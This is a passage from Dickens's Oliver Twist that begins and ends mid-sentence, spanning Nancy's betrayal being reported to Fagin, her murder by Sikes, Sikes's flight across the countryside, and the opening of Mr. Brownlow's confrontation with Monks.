lady. 'Take it for my sake, that +you may have some resource in an hour of need and trouble.' + +'No!' replied the girl. 'I have not done this for money. Let me +have that to think of. And yet--give me something that you have +worn: I should like to have something--no, no, not a ring--your +gloves or handkerchief--anything that I can keep, as having +belonged to you, sweet lady. There. Bless you! God bless you. +Good-night, good-night!' + +The violent agitation of the girl, and the apprehension of some +discovery which would subject her to ill-usage and violence, +seemed to determine the gentleman to leave her, as she requested. + +The sound of retreating footsteps were audible and the voices +ceased. + +The two figures of the young lady and her companion soon +afterwards appeared upon the bridge. They stopped at the summit +of the stairs. + +'Hark!' cried the young lady, listening. 'Did she call! I +thought I heard her voice.' + +'No, my love,' replied Mr. Brownlow, looking sadly back. 'She has +not moved, and will not till we are gone.' + +Rose Maylie lingered, but the old gentleman drew her arm through +his, and led her, with gentle force, away. As they disappeared, +the girl sunk down nearly at her full length upon one of the +stone stairs, and vented the anguish of her heart in bitter +tears. + +After a time she arose, and with feeble and tottering steps +ascended the street. The astonished listener remained motionless +on his post for some minutes afterwards, and having ascertained, +with many cautious glances round him, that he was again alone, +crept slowly from his hiding-place, and returned, stealthily and +in the shade of the wall, in the same manner as he had descended. + +Peeping out, more than once, when he reached the top, to make +sure that he was unobserved, Noah Claypole darted away at his +utmost speed, and made for the Jew's house as fast as his legs +would carry him. + + + + +CHAPTER XLVII + +FATAL CONSEQUENCES + +It was nearly two hours before day-break; that time which in the +autumn of the year, may be truly called the dead of night; when +the streets are silent and deserted; when even sounds appear to +slumber, and profligacy and riot have staggered home to dream; it +was at this still and silent hour, that Fagin sat watching in his +old lair, with face so distorted and pale, and eyes so red and +blood-shot, that he looked less like a man, than like some +hideous phantom, moist from the grave, and worried by an evil +spirit. + +He sat crouching over a cold hearth, wrapped in an old torn +coverlet, with his face turned towards a wasting candle that +stood upon a table by his side. His right hand was raised to his +lips, and as, absorbed in thought, he hit his long black nails, +he disclosed among his toothless gums a few such fangs as should +have been a dog's or rat's. + +Stretched upon a mattress on the floor, lay Noah Claypole, fast +asleep. Towards him the old man sometimes directed his eyes for +an instant, and then brought them back again to the candle; which +with a long-burnt wick drooping almost double, and hot grease +falling down in clots upon the table, plainly showed that his +thoughts were busy elsewhere. + +Indeed they were. Mortification at the overthrow of his notable +scheme; hatred of the girl who had dared to palter with +strangers; and utter distrust of the sincerity of her refusal to +yield him up; bitter disappointment at the loss of his revenge on +Sikes; the fear of detection, and ruin, and death; and a fierce +and deadly rage kindled by all; these were the passionate +considerations which, following close upon each other with rapid +and ceaseless whirl, shot through the brain of Fagin, as every +evil thought and blackest purpose lay working at his heart. + +He sat without changing his attitude in the least, or appearing +to take the smallest heed of time, until his quick ear seemed to +be attracted by a footstep in the street. + +'At last,' he muttered, wiping his dry and fevered mouth. 'At +last!' + +The bell rang gently as he spoke. He crept upstairs to the door, +and presently returned accompanied by a man muffled to the chin, +who carried a bundle under one arm. Sitting down and throwing +back his outer coat, the man displayed the burly frame of Sikes. + +'There!' he said, laying the bundle on the table. 'Take care of +that, and do the most you can with it. It's been trouble enough +to get; I thought I should have been here, three hours ago.' + +Fagin laid his hand upon the bundle, and locking it in the +cupboard, sat down again without speaking. But he did not take +his eyes off the robber, for an instant, during this action; and +now that they sat over against each other, face to face, he +looked fixedly at him, with his lips quivering so violently, and +his face so altered by the emotions which had mastered him, that +the housebreaker involuntarily drew back his chair, and surveyed +him with a look of real affright. + +'Wot now?' cried Sikes. 'Wot do you look at a man so for?' + +Fagin raised his right hand, and shook his trembling forefinger +in the air; but his passion was so great, that the power of +speech was for the moment gone. + +'Damme!' said Sikes, feeling in his breast with a look of alarm. +'He's gone mad. I must look to myself here.' + +'No, no,' rejoined Fagin, finding his voice. 'It's not--you're +not the person, Bill. I've no--no fault to find with you.' + +'Oh, you haven't, haven't you?' said Sikes, looking sternly at +him, and ostentatiously passing a pistol into a more convenient +pocket. 'That's lucky--for one of us. Which one that is, don't +matter.' + +'I've got that to tell you, Bill,' said Fagin, drawing his chair +nearer, 'will make you worse than me.' + +'Aye?' returned the robber with an incredulous air. 'Tell away! +Look sharp, or Nance will think I'm lost.' + +'Lost!' cried Fagin. 'She has pretty well settled that, in her +own mind, already.' + +Sikes looked with an aspect of great perplexity into the Jew's +face, and reading no satisfactory explanation of the riddle +there, clenched his coat collar in his huge hand and shook him +soundly. + +'Speak, will you!' he said; 'or if you don't, it shall be for +want of breath. Open your mouth and say wot you've got to say in +plain words. Out with it, you thundering old cur, out with it!' + +'Suppose that lad that's laying there--' Fagin began. + +Sikes turned round to where Noah was sleeping, as if he had not +previously observed him. 'Well!' he said, resuming his former +position. + +'Suppose that lad,' pursued Fagin, 'was to peach--to blow upon us +all--first seeking out the right folks for the purpose, and then +having a meeting with 'em in the street to paint our likenesses, +describe every mark that they might know us by, and the crib +where we might be most easily taken. Suppose he was to do all +this, and besides to blow upon a plant we've all been in, more or +less--of his own fancy; not grabbed, trapped, tried, earwigged by +the parson and brought to it on bread and water,--but of his own +fancy; to please his own taste; stealing out at nights to find +those most interested against us, and peaching to them. Do you +hear me?' cried the Jew, his eyes flashing with rage. 'Suppose +he did all this, what then?' + +'What then!' replied Sikes; with a tremendous oath. 'If he was +left alive till I came, I'd grind his skull under the iron heel +of my boot into as many grains as there are hairs upon his head.' + +'What if I did it!' cried Fagin almost in a yell. 'I, that knows +so much, and could hang so many besides myself!' + +'I don't know,' replied Sikes, clenching his teeth and turning +white at the mere suggestion. 'I'd do something in the jail that +'ud get me put in irons; and if I was tried along with you, I'd +fall upon you with them in the open court, and beat your brains +out afore the people. I should have such strength,' muttered the +robber, poising his brawny arm, 'that I could smash your head as +if a loaded waggon had gone over it.' + +'You would?' + +'Would I!' said the housebreaker. 'Try me.' + +'If it was Charley, or the Dodger, or Bet, or--' + +'I don't care who,' replied Sikes impatiently. 'Whoever it was, +I'd serve them the same.' + +Fagin looked hard at the robber; and, motioning him to be silent, +stooped over the bed upon the floor, and shook the sleeper to +rouse him. Sikes leant forward in his chair: looking on with +his hands upon his knees, as if wondering much what all this +questioning and preparation was to end in. + +'Bolter, Bolter! Poor lad!' said Fagin, looking up with an +expression of devilish anticipation, and speaking slowly and with +marked emphasis. 'He's tired--tired with watching for her so +long,--watching for _her_, Bill.' + +'Wot d'ye mean?' asked Sikes, drawing back. + +Fagin made no answer, but bending over the sleeper again, hauled +him into a sitting posture. When his assumed name had been +repeated several times, Noah rubbed his eyes, and, giving a heavy +yawn, looked sleepily about him. + +'Tell me that again--once again, just for him to hear,' said the +Jew, pointing to Sikes as he spoke. + +'Tell yer what?' asked the sleepy Noah, shaking himself pettishly. + +'That about-- _Nancy_,' said Fagin, clutching Sikes by the wrist, as +if to prevent his leaving the house before he had heard enough. +'You followed her?' + +'Yes.' + +'To London Bridge?' + +'Yes.' + +'Where she met two people.' + +'So she did.' + +'A gentleman and a lady that she had gone to of her own accord +before, who asked her to give up all her pals, and Monks first, +which she did--and to describe him, which she did--and to tell +her what house it was that we meet at, and go to, which she +did--and where it could be best watched from, which she did--and +what time the people went there, which she did. She did all +this. She told it all every word without a threat, without a +murmur--she did--did she not?' cried Fagin, half mad with fury. + +'All right,' replied Noah, scratching his head. 'That's just +what it was!' + +'What did they say, about last Sunday?' + +'About last Sunday!' replied Noah, considering. 'Why I told yer +that before.' + +'Again. Tell it again!' cried Fagin, tightening his grasp on +Sikes, and brandishing his other hand aloft, as the foam flew +from his lips. + +'They asked her,' said Noah, who, as he grew more wakeful, seemed +to have a dawning perception who Sikes was, 'they asked her why +she didn't come, last Sunday, as she promised. She said she +couldn't.' + +'Why--why? Tell him that.' + +'Because she was forcibly kept at home by Bill, the man she had +told them of before,' replied Noah. + +'What more of him?' cried Fagin. 'What more of the man she had +told them of before? Tell him that, tell him that.' + +'Why, that she couldn't very easily get out of doors unless he +knew where she was going to,' said Noah; 'and so the first time +she went to see the lady, she--ha! ha! ha! it made me laugh when +she said it, that it did--she gave him a drink of laudanum.' + +'Hell's fire!' cried Sikes, breaking fiercely from the Jew. 'Let +me go!' + +Flinging the old man from him, he rushed from the room, and +darted, wildly and furiously, up the stairs. + +'Bill, Bill!' cried Fagin, following him hastily. 'A word. Only +a word.' + +The word would not have been exchanged, but that the housebreaker +was unable to open the door: on which he was expending fruitless +oaths and violence, when the Jew came panting up. + +'Let me out,' said Sikes. 'Don't speak to me; it's not safe. +Let me out, I say!' + +'Hear me speak a word,' rejoined Fagin, laying his hand upon the +lock. 'You won't be--' + +'Well,' replied the other. + +'You won't be--too--violent, Bill?' + +The day was breaking, and there was light enough for the men to +see each other's faces. They exchanged one brief glance; there +was a fire in the eyes of both, which could not be mistaken. + +'I mean,' said Fagin, showing that he felt all disguise was now +useless, 'not too violent for safety. Be crafty, Bill, and not +too bold.' + +Sikes made no reply; but, pulling open the door, of which Fagin +had turned the lock, dashed into the silent streets. + +Without one pause, or moment's consideration; without once +turning his head to the right or left, or raising his eyes to the +sky, or lowering them to the ground, but looking straight before +him with savage resolution: his teeth so tightly compressed that +the strained jaw seemed starting through his skin; the robber +held on his headlong course, nor muttered a word, nor relaxed a +muscle, until he reached his own door. He opened it, softly, +with a key; strode lightly up the stairs; and entering his own +room, double-locked the door, and lifting a heavy table against +it, drew back the curtain of the bed. + +The girl was lying, half-dressed, upon it. He had roused her +from her sleep, for she raised herself with a hurried and +startled look. + +'Get up!' said the man. + +'It is you, Bill!' said the girl, with an expression of pleasure +at his return. + +'It is,' was the reply. 'Get up.' + +There was a candle burning, but the man hastily drew it from the +candlestick, and hurled it under the grate. Seeing the faint +light of early day without, the girl rose to undraw the curtain. + +'Let it be,' said Sikes, thrusting his hand before her. 'There's +enough light for wot I've got to do.' + +'Bill,' said the girl, in the low voice of alarm, 'why do you +look like that at me!' + +The robber sat regarding her, for a few seconds, with dilated +nostrils and heaving breast; and then, grasping her by the head +and throat, dragged her into the middle of the room, and looking +once towards the door, placed his heavy hand upon her mouth. + +'Bill, Bill!' gasped the girl, wrestling with the strength of +mortal fear,--'I--I won't scream or cry--not once--hear me--speak +to me--tell me what I have done!' + +'You know, you she devil!' returned the robber, suppressing his +breath. 'You were watched to-night; every word you said was +heard.' + +'Then spare my life for the love of Heaven, as I spared yours,' +rejoined the girl, clinging to him. 'Bill, dear Bill, you cannot +have the heart to kill me. Oh! think of all I have given up, +only this one night, for you. You _shall_ have time to think, and +save yourself this crime; I will not loose my hold, you cannot +throw me off. Bill, Bill, for dear God's sake, for your own, for +mine, stop before you spill my blood! I have been true to you, +upon my guilty soul I have!' + +The man struggled violently, to release his arms; but those of +the girl were clasped round his, and tear her as he would, he +could not tear them away. + +'Bill,' cried the girl, striving to lay her head upon his breast, +'the gentleman and that dear lady, told me to-night of a home in +some foreign country where I could end my days in solitude and +peace. Let me see them again, and beg them, on my knees, to show +the same mercy and goodness to you; and let us both leave this +dreadful place, and far apart lead better lives, and forget how +we have lived, except in prayers, and never see each other more. +It is never too late to repent. They told me so--I feel it +now--but we must have time--a little, little time!' + +The housebreaker freed one arm, and grasped his pistol. The +certainty of immediate detection if he fired, flashed across his +mind even in the midst of his fury; and he beat it twice with all +the force he could summon, upon the upturned face that almost +touched his own. + +She staggered and fell: nearly blinded with the blood that +rained down from a deep gash in her forehead; but raising +herself, with difficulty, on her knees, drew from her bosom a +white handkerchief--Rose Maylie's own--and holding it up, in her +folded hands, as high towards Heaven as her feeble strength would +allow, breathed one prayer for mercy to her Maker. + +It was a ghastly figure to look upon. The murderer staggering +backward to the wall, and shutting out the sight with his hand, +seized a heavy club and struck her down. + + + + +CHAPTER XLVIII + +THE FLIGHT OF SIKES + +Of all bad deeds that, under cover of the darkness, had been +committed within wide London's bounds since night hung over it, +that was the worst. Of all the horrors that rose with an ill +scent upon the morning air, that was the foulest and most cruel. + +The sun--the bright sun, that brings back, not light alone, but +new life, and hope, and freshness to man--burst upon the crowded +city in clear and radiant glory. Through costly-coloured glass +and paper-mended window, through cathedral dome and rotten +crevice, it shed its equal ray. It lighted up the room where the +murdered woman lay. It did. He tried to shut it out, but it +would stream in. If the sight had been a ghastly one in the dull +morning, what was it, now, in all that brilliant light! + +He had not moved; he had been afraid to stir. There had been a +moan and motion of the hand; and, with terror added to rage, he +had struck and struck again. Once he threw a rug over it; but it +was worse to fancy the eyes, and imagine them moving towards him, +than to see them glaring upward, as if watching the reflection of +the pool of gore that quivered and danced in the sunlight on the +ceiling. He had plucked it off again. And there was the +body--mere flesh and blood, no more--but such flesh, and so much +blood! + +He struck a light, kindled a fire, and thrust the club into it. +There was hair upon the end, which blazed and shrunk into a light +cinder, and, caught by the air, whirled up the chimney. Even +that frightened him, sturdy as he was; but he held the weapon +till it broke, and then piled it on the coals to burn away, and +smoulder into ashes. He washed himself, and rubbed his clothes; +there were spots that would not be removed, but he cut the pieces +out, and burnt them. How those stains were dispersed about the +room! The very feet of the dog were bloody. + +All this time he had, never once, turned his back upon the +corpse; no, not for a moment. Such preparations completed, he +moved, backward, towards the door: dragging the dog with him, +lest he should soil his feet anew and carry out new evidence of +the crime into the streets. He shut the door softly, locked it, +took the key, and left the house. + +He crossed over, and glanced up at the window, to be sure that +nothing was visible from the outside. There was the curtain +still drawn, which she would have opened to admit the light she +never saw again. It lay nearly under there. _He_ knew that. God, +how the sun poured down upon the very spot! + +The glance was instantaneous. It was a relief to have got free +of the room. He whistled on the dog, and walked rapidly away. + +He went through Islington; strode up the hill at Highgate on +which stands the stone in honour of Whittington; turned down to +Highgate Hill, unsteady of purpose, and uncertain where to go; +struck off to the right again, almost as soon as he began to +descend it; and taking the foot-path across the fields, skirted +Caen Wood, and so came on Hampstead Heath. Traversing the hollow +by the Vale of Heath, he mounted the opposite bank, and crossing +the road which joins the villages of Hampstead and Highgate, made +along the remaining portion of the heath to the fields at North +End, in one of which he laid himself down under a hedge, and +slept. + +Soon he was up again, and away,--not far into the country, but +back towards London by the high-road--then back again--then over +another part of the same ground as he already traversed--then +wandering up and down in fields, and lying on ditches' brinks to +rest, and starting up to make for some other spot, and do the +same, and ramble on again. + +Where could he go, that was near and not too public, to get some +meat and drink? Hendon. That was a good place, not far off, and +out of most people's way. Thither he directed his +steps,--running sometimes, and sometimes, with a strange +perversity, loitering at a snail's pace, or stopping altogether +and idly breaking the hedges with a stick. But when he got +there, all the people he met--the very children at the +doors--seemed to view him with suspicion. Back he turned again, +without the courage to purchase bit or drop, though he had tasted +no food for many hours; and once more he lingered on the Heath, +uncertain where to go. + +He wandered over miles and miles of ground, and still came back +to the old place. Morning and noon had passed, and the day was +on the wane, and still he rambled to and fro, and up and down, +and round and round, and still lingered about the same spot. At +last he got away, and shaped his course for Hatfield. + +It was nine o'clock at night, when the man, quite tired out, and +the dog, limping and lame from the unaccustomed exercise, turned +down the hill by the church of the quiet village, and plodding +along the little street, crept into a small public-house, whose +scanty light had guided them to the spot. There was a fire in +the tap-room, and some country-labourers were drinking before it. + +They made room for the stranger, but he sat down in the furthest +corner, and ate and drank alone, or rather with his dog: to whom +he cast a morsel of food from time to time. + +The conversation of the men assembled here, turned upon the +neighbouring land, and farmers; and when those topics were +exhausted, upon the age of some old man who had been buried on +the previous Sunday; the young men present considering him very +old, and the old men present declaring him to have been quite +young--not older, one white-haired grandfather said, than he +was--with ten or fifteen year of life in him at least--if he had +taken care; if he had taken care. + +There was nothing to attract attention, or excite alarm in this. +The robber, after paying his reckoning, sat silent and unnoticed +in his corner, and had almost dropped asleep, when he was half +wakened by the noisy entrance of a new comer. + +This was an antic fellow, half pedlar and half mountebank, who +travelled about the country on foot to vend hones, strops, razors, +washballs, harness-paste, medicine for dogs and horses, cheap +perfumery, cosmetics, and such-like wares, which he carried in a +case slung to his back. His entrance was the signal for various +homely jokes with the countrymen, which slackened not until he +had made his supper, and opened his box of treasures, when he +ingeniously contrived to unite business with amusement. + +'And what be that stoof? Good to eat, Harry?' asked a grinning +countryman, pointing to some composition-cakes in one corner. + +'This,' said the fellow, producing one, 'this is the infallible +and invaluable composition for removing all sorts of stain, rust, +dirt, mildew, spick, speck, spot, or spatter, from silk, satin, +linen, cambric, cloth, crape, stuff, carpet, merino, muslin, +bombazeen, or woollen stuff. Wine-stains, fruit-stains, +beer-stains, water-stains, paint-stains, pitch-stains, any +stains, all come out at one rub with the infallible and +invaluable composition. If a lady stains her honour, she has +only need to swallow one cake and she's cured at once--for it's +poison. If a gentleman wants to prove this, he has only need to +bolt one little square, and he has put it beyond question--for +it's quite as satisfactory as a pistol-bullet, and a great deal +nastier in the flavour, consequently the more credit in taking +it. One penny a square. With all these virtues, one penny a +square!' + +There were two buyers directly, and more of the listeners plainly +hesitated. The vendor observing this, increased in loquacity. + +'It's all bought up as fast as it can be made,' said the fellow. +'There are fourteen water-mills, six steam-engines, and a +galvanic battery, always a-working upon it, and they can't make +it fast enough, though the men work so hard that they die off, +and the widows is pensioned directly, with twenty pound a-year +for each of the children, and a premium of fifty for twins. One +penny a square! Two half-pence is all the same, and four +farthings is received with joy. One penny a square! +Wine-stains, fruit-stains, beer-stains, water-stains, +paint-stains, pitch-stains, mud-stains, blood-stains! Here is a +stain upon the hat of a gentleman in company, that I'll take +clean out, before he can order me a pint of ale.' + +'Hah!' cried Sikes starting up. 'Give that back.' + +'I'll take it clean out, sir,' replied the man, winking to the +company, 'before you can come across the room to get it. +Gentlemen all, observe the dark stain upon this gentleman's hat, +no wider than a shilling, but thicker than a half-crown. Whether +it is a wine-stain, fruit-stain, beer-stain, water-stain, +paint-stain, pitch-stain, mud-stain, or blood-stain--' + +The man got no further, for Sikes with a hideous imprecation +overthrew the table, and tearing the hat from him, burst out of +the house. + +With the same perversity of feeling and irresolution that had +fastened upon him, despite himself, all day, the murderer, +finding that he was not followed, and that they most probably +considered him some drunken sullen fellow, turned back up the +town, and getting out of the glare of the lamps of a stage-coach +that was standing in the street, was walking past, when he +recognised the mail from London, and saw that it was standing at +the little post-office. He almost knew what was to come; but he +crossed over, and listened. + +The guard was standing at the door, waiting for the letter-bag. +A man, dressed like a game-keeper, came up at the moment, and he +handed him a basket which lay ready on the pavement. + +'That's for your people,' said the guard. 'Now, look alive in +there, will you. Damn that 'ere bag, it warn't ready night afore +last; this won't do, you know!' + +'Anything new up in town, Ben?' asked the game-keeper, drawing +back to the window-shutters, the better to admire the horses. + +'No, nothing that I knows on,' replied the man, pulling on his +gloves. 'Corn's up a little. I heerd talk of a murder, too, +down Spitalfields way, but I don't reckon much upon it.' + +'Oh, that's quite true,' said a gentleman inside, who was looking +out of the window. 'And a dreadful murder it was.' + +'Was it, sir?' rejoined the guard, touching his hat. 'Man or +woman, pray, sir?' + +'A woman,' replied the gentleman. 'It is supposed--' + +'Now, Ben,' replied the coachman impatiently. + +'Damn that 'ere bag,' said the guard; 'are you gone to sleep in +there?' + +'Coming!' cried the office keeper, running out. + +'Coming,' growled the guard. 'Ah, and so's the young 'ooman of +property that's going to take a fancy to me, but I don't know +when. Here, give hold. All ri--ight!' + +The horn sounded a few cheerful notes, and the coach was gone. + +Sikes remained standing in the street, apparently unmoved by what +he had just heard, and agitated by no stronger feeling than a +doubt where to go. At length he went back again, and took the +road which leads from Hatfield to St. Albans. + +He went on doggedly; but as he left the town behind him, and +plunged into the solitude and darkness of the road, he felt a +dread and awe creeping upon him which shook him to the core. +Every object before him, substance or shadow, still or moving, +took the semblance of some fearful thing; but these fears were +nothing compared to the sense that haunted him of that morning's +ghastly figure following at his heels. He could trace its shadow +in the gloom, supply the smallest item of the outline, and note +how stiff and solemn it seemed to stalk along. He could hear its +garments rustling in the leaves, and every breath of wind came +laden with that last low cry. If he stopped it did the same. If +he ran, it followed--not running too: that would have been a +relief: but like a corpse endowed with the mere machinery of +life, and borne on one slow melancholy wind that never rose or +fell. + +At times, he turned, with desperate determination, resolved to +beat this phantom off, though it should look him dead; but the +hair rose on his head, and his blood stood still, for it had +turned with him and was behind him then. He had kept it before +him that morning, but it was behind now--always. He leaned his +back against a bank, and felt that it stood above him, visibly +out against the cold night-sky. He threw himself upon the +road--on his back upon the road. At his head it stood, silent, +erect, and still--a living grave-stone, with its epitaph in +blood. + +Let no man talk of murderers escaping justice, and hint that +Providence must sleep. There were twenty score of violent deaths +in one long minute of that agony of fear. + +There was a shed in a field he passed, that offered shelter for +the night. Before the door, were three tall poplar trees, which +made it very dark within; and the wind moaned through them with a +dismal wail. He _could not_ walk on, till daylight came again; and +here he stretched himself close to the wall--to undergo new +torture. + +For now, a vision came before him, as constant and more terrible +than that from which he had escaped. Those widely staring eyes, +so lustreless and so glassy, that he had better borne to see them +than think upon them, appeared in the midst of the darkness: +light in themselves, but giving light to nothing. There were but +two, but they were everywhere. If he shut out the sight, there +came the room with every well-known object--some, indeed, that he +would have forgotten, if he had gone over its contents from +memory--each in its accustomed place. The body was in _its_ place, +and its eyes were as he saw them when he stole away. He got up, +and rushed into the field without. The figure was behind him. +He re-entered the shed, and shrunk down once more. The eyes were +there, before he had laid himself along. + +And here he remained in such terror as none but he can know, +trembling in every limb, and the cold sweat starting from every +pore, when suddenly there arose upon the night-wind the noise of +distant shouting, and the roar of voices mingled in alarm and +wonder. Any sound of men in that lonely place, even though it +conveyed a real cause of alarm, was something to him. He +regained his strength and energy at the prospect of personal +danger; and springing to his feet, rushed into the open air. + +The broad sky seemed on fire. Rising into the air with showers +of sparks, and rolling one above the other, were sheets of flame, +lighting the atmosphere for miles round, and driving clouds of +smoke in the direction where he stood. The shouts grew louder as +new voices swelled the roar, and he could hear the cry of Fire! +mingled with the ringing of an alarm-bell, the fall of heavy +bodies, and the crackling of flames as they twined round some new +obstacle, and shot aloft as though refreshed by food. The noise +increased as he looked. There were people there--men and +women--light, bustle. It was like new life to him. He darted +onward--straight, headlong--dashing through brier and brake, and +leaping gate and fence as madly as his dog, who careered with +loud and sounding bark before him. + +He came upon the spot. There were half-dressed figures tearing +to and fro, some endeavouring to drag the frightened horses from +the stables, others driving the cattle from the yard and +out-houses, and others coming laden from the burning pile, amidst +a shower of falling sparks, and the tumbling down of red-hot +beams. The apertures, where doors and windows stood an hour ago, +disclosed a mass of raging fire; walls rocked and crumbled into +the burning well; the molten lead and iron poured down, white +hot, upon the ground. Women and children shrieked, and men +encouraged each other with noisy shouts and cheers. The clanking +of the engine-pumps, and the spirting and hissing of the water as +it fell upon the blazing wood, added to the tremendous roar. He +shouted, too, till he was hoarse; and flying from memory and +himself, plunged into the thickest of the throng. Hither and +thither he dived that night: now working at the pumps, and now +hurrying through the smoke and flame, but never ceasing to engage +himself wherever noise and men were thickest. Up and down the +ladders, upon the roofs of buildings, over floors that quaked and +trembled with his weight, under the lee of falling bricks and +stones, in every part of that great fire was he; but he bore a +charmed life, and had neither scratch nor bruise, nor weariness +nor thought, till morning dawned again, and only smoke and +blackened ruins remained. + +This mad excitement over, there returned, with ten-fold force, +the dreadful consciousness of his crime. He looked suspiciously +about him, for the men were conversing in groups, and he feared +to be the subject of their talk. The dog obeyed the significant +beck of his finger, and they drew off, stealthily, together. He +passed near an engine where some men were seated, and they called +to him to share in their refreshment. He took some bread and +meat; and as he drank a draught of beer, heard the firemen, who +were from London, talking about the murder. 'He has gone to +Birmingham, they say,' said one: 'but they'll have him yet, for +the scouts are out, and by to-morrow night there'll be a cry all +through the country.' + +He hurried off, and walked till he almost dropped upon the +ground; then lay down in a lane, and had a long, but broken and +uneasy sleep. He wandered on again, irresolute and undecided, +and oppressed with the fear of another solitary night. + +Suddenly, he took the desperate resolution to going back to +London. + +'There's somebody to speak to there, at all event,' he thought. +'A good hiding-place, too. They'll never expect to nab me there, +after this country scent. Why can't I lie by for a week or so, +and, forcing blunt from Fagin, get abroad to France? Damme, I'll +risk it.' + +He acted upon this impulse without delay, and choosing the least +frequented roads began his journey back, resolved to lie +concealed within a short distance of the metropolis, and, +entering it at dusk by a circuitous route, to proceed straight to +that part of it which he had fixed on for his destination. + +The dog, though. If any description of him were out, it would +not be forgotten that the dog was missing, and had probably gone +with him. This might lead to his apprehension as he passed along +the streets. He resolved to drown him, and walked on, looking +about for a pond: picking up a heavy stone and tying it to his +handkerchief as he went. + +The animal looked up into his master's face while these +preparations were making; whether his instinct apprehended +something of their purpose, or the robber's sidelong look at him +was sterner than ordinary, he skulked a little farther in the +rear than usual, and cowered as he came more slowly along. When +his master halted at the brink of a pool, and looked round to +call him, he stopped outright. + +'Do you hear me call? Come here!' cried Sikes. + +The animal came up from the very force of habit; but as Sikes +stooped to attach the handkerchief to his throat, he uttered a +low growl and started back. + +'Come back!' said the robber. + +The dog wagged his tail, but moved not. Sikes made a running +noose and called him again. + +The dog advanced, retreated, paused an instant, and scoured away +at his hardest speed. + +The man whistled again and again, and sat down and waited in the +expectation that he would return. But no dog appeared, and at +length he resumed his journey. + + + + +CHAPTER XLIX + +MONKS AND MR. BROWNLOW AT LENGTH MEET. THEIR CONVERSATION, AND +THE INTELLIGENCE THAT INTERRUPTS IT + + The twilight was beginning to close in, when Mr. Brownlow +alighted from a hackney-coach at his own door, and knocked +softly. The door being opened, a sturdy man got out of the coach +and stationed himself on one side of the steps, while another +man, who had been seated on the box, dismounted too, and stood +upon the other side. At a sign from Mr. Brownlow, they helped +out a third man, and taking him between them, hurried him into +the house. This man was Monks. + +They walked in the same manner up the stairs without speaking, +and Mr. Brownlow, preceding them, led the way into a back-room. +At the door of this apartment, Monks, who had ascended with +evident reluctance, stopped. The two men looked at the old +gentleman as if for instructions. + +'He knows the alternative,' said Mr. Browlow. 'If he hesitates +or moves a finger but as you bid him, drag him into the street, +call for the aid of the police, and impeach him as a felon in my +name.' + +'How dare you say this of me?' asked Monks. + +'How dare you urge me to it, young man?' replied Mr. Brownlow, +confronting him with a steady look. 'Are you mad enough to leave +this house? Unhand him. There, sir. You are free to go, and we +to follow. But I warn you, by all I hold most solemn and most +sacred, that instant will have you apprehended on a charge of +fraud and robbery. I am resolute and immoveable. If you are +determined to be the same, your blood be upon your own head!' + +'By what authority am I kidnapped in the street, and brought here +by these dogs?' asked Monks, looking from one to the other of the +men who stood beside him. + +'By mine,' replied Mr. Brownlow. 'Those persons are indemnified +by me. If you complain of being deprived of your liberty--you +had power and opportunity to retrieve it as you came along, but +you deemed it advisable to remain quiet--I say again, throw +yourself for protection on the law. I will appeal to the law +too; but when you have gone too far to recede, do not sue to me +for leniency, when the power will have passed into other hands; +and do not say I plunged you down the gulf into which you rushed, +yourself.' + +Monks was plainly disconcerted, and alarmed besides. He +hesitated. + +'You will decide quickly,' said Mr. Brownlow, with perfect +firmness and composure. 'If you wish me to prefer my charges +publicly, and consign you to a punishment the extent of which, +although I can, with a shudder, foresee, I cannot control, once +more, I say, for you know the way. If not, and you appeal to my +forbearance, and the mercy of those you have deeply injured, seat +yourself, without a word, in that chair. It has waited for you +two whole days.' + +Monks muttered some unintelligible words, but wavered still. + +'You will be prompt,' said Mr. Brownlow. 'A word from me, and +the alternative has gone for ever.' + +Still the man hesitated. + +'I have not the inclination to parley,' said Mr. Brownlow, 'and, +as I advocate the dearest interests of others, I have not the +right.' + +'Is there--' demanded Monks with a faltering tongue,--'is +there--no middle course?' + +'None.' + +Monks looked at the old gentleman, with an anxious eye; but, +reading in his countenance nothing but severity and +determination, walked into the room, and, shrugging his +shoulders, sat down. + +'Lock the door on the outside,' said Mr. Brownlow to the +attendants, 'and come when I ring.' + +The men obeyed, and the two were left alone together. + +'This is pretty treatment, sir,' said Monks, throwing down his +hat and cloak, 'from my father's oldest friend.' + +'It is because I was your father's oldest friend, young man,' +returned Mr. Brownlow; 'it is because the hopes and wishes of +young and happy years were bound up with him, and that fair +creature of his blood and kindred who rejoined her God in youth, +and left me here a solitary, lonely man: it is because he knelt +with me beside his only sisters' death-bed when he was yet a boy, +on the morning that would--but Heaven willed otherwise--have made +her my young wife; it is because my seared heart clung to him, +from that time forth, through all his trials and errors, till he +died; it is because old recollections and associations filled my +heart, and even the sight of you brings with it old thoughts of +him; it is because of all these things that I am moved to treat +you gently now--yes, Edward Leeford, even now--and blush for your +unworthiness who bear the name.' + +'What has the name to do with it?' asked the other, after +contemplating, half in silence, and half in dogged wonder, the +agitation of his companion. 'What is the name to me?' + +'Nothing,' replied Mr. Brownlow, 'nothing to you. But it was +_hers_, and even at this distance of time brings back to me, an old +man, the glow and thrill which I once felt, only to hear it +repeated by a stranger. I am very glad you have changed +it--very--very.' + +'This is all mighty fine,' said Monks (to retain his assumed +designation) after a long silence, during which he had jerked +himself in sullen defiance to and fro, and Mr. Brownlow had sat, +shading his face with his hand. 'But what do you want with me?' + +'You have a brother,' said Mr. Brownlow, rousing himself: 'a +brother, the whisper of whose name in your ear when I came behind +you in the street, was, in itself, almost enough to make you +accompany me hither, in wonder and alarm.' + +'I have no brother,' replied Monks. 'You know I was an only +child. Why do you talk to me of brothers? You know that, as +well as I.' + +'Attend to what I do know, and you may not,' said Mr. Brownlow. +'I shall interest you by and by. I know that of the wretched +marriage, into which family pride, and the most sordid and +narrowest of all ambition, forced your unhappy father when a mere +boy, you were the sole and most unnatural issue.' + +'I don't care for hard names,' interrupted Monks with a jeering +laugh. 'You know the fact, and that's enough for me.' + +'But I also know,' pursued the old gentleman, 'the misery, the +slow torture, the protracted anguish of that ill-assorted union. +I know how listlessly and wearily each of that wretched pair +dragged on their heavy chain through a world that was poisoned to +them both. I know how cold formalities were succeeded by open +taunts; how indifference gave place to dislike, dislike to hate, +and hate to loathing, until at last they wrenched the clanking +bond asunder, and retiring a wide space apart, carried each a +galling fragment, of which nothing but death could break the +rivets, to hide it in new society beneath the gayest looks they +could assume. Your mother succeeded; she forgot it soon. But it +rusted and cankered at your father's heart for years.' + +'Well, they were separated,' said Monks, 'and what of that?' + +'When they had been separated for some time,' returned Mr. +Brownlow, 'and your mother, wholly given up to continental +frivolities, had utterly forgotten the young husband ten good +years her junior, who, with prospects blighted, lingered on at +home, he fell among 